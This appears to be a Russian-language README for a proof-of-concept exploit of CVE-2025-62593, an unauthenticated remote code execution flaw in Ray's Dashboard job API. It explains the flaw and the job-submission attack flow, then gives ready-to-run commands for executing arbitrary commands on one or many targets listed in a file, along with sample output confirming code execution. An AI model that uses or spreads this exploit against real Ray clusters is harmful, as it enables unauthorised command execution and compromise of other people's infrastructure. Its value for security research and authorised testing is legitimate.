
PoC для CVE-2025-62593: неаутентифицированный RCE в Ray (CISA KEV). Только стандартная библиотека Python.
Proof-of-concept для CVE-2025-62593 — уязвимости удаленного выполнения кода без аутентификации в распределенном движке AI-вычислений Ray, эксплуатируемой с помощью браузерных DNS-rebinding атак. Уязвимость добавлена в каталог CISA Known Exploited Vulnerabilities (KEV) и активно эксплуатируется.
Корневая причина — давнее проектное решение команды Ray запускать без
аутентификации критические HTTP-эндпоинты, такие как /api/jobs и
/api/job_agent/jobs. Из-за этого удаленный неаутентифицированный злоумышленник может
отправить Ray Job, entrypoint которого — произвольная команда, выполняющаяся затем
на головном узле кластера, — полное удаленное выполнение кода.
Данный PoC напрямую взаимодействует с HTTP API Ray Dashboard (для демонстрации базовой ошибки не нужны браузер/DNS-rebinding) и извлекает вывод команды из логов заданий.
POST /api/jobs/ с entrypoint, который выполняет вашу команду и
сохраняет её stdout/stderr во временный файл, а затем выводит содержимое файла.GET /api/jobs/, пока задание не достигнет конечного состояния.GET /api/jobs/<submission_id>/logs и выводит результат команды.# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id
# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Help
python3 ray_rce_poc.py --help
Требуется только стандартная библиотека Python 3 — без сторонних зависимостей.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
Только для исследований в области безопасности и авторизованного тестирования. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несет ответственности за неправомерное использование.